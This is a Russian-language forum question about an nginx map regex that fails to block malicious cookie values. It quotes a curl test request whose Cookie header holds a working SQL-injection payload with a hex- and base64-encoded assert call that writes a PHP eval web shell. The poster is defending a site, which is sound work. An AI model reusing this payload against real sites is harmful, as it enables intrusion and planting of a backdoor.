Regex не соответствует куки и (иногда) рефереру - PullRequest
0 голосов
/ 15 октября 2019

Вот мой конфиг:

map "$http_cookie" $myVar {
    default 0;
    "~*([\\x|%](3c|3e|5c|22|27))+" 1;
}
location ~ \.php {
    if ($myVar = 1) {
        return 500;
    }

Мой запрос (используя Почтальон )

curl -X POST \
  'https://www.example.com/index.php' \
  -H 'Accept: */*' \
  -H 'Accept-Encoding: gzip, deflate' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Content-Length: 38' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:297:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A46395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1'\'' UNION/*\x22;}45ea207d7a2b68c49582d2d22adf953a'

Nginx должен это ловить, но это позволяетвместо этого.

  • Однако это регулярное выражение перехватывает это значение при сопоставлении с $request_uri
  • Более того, другие протестированные мной регулярные выражения перехватывают другие значения $http_cookie
  • regex работает при тестировании на regex101.com (значение, которое я там использовал, было скопировано из файла access.log)

Я что-то упустил?

ОБНОВЛЕНИЕ другое регулярное выражение ведет себя странно char(.*)?(\(|%28) соответствует route=extension/dashboard/chart/chart&token, в то время как на самом деле это не должно ( regex101 подтверждает )

...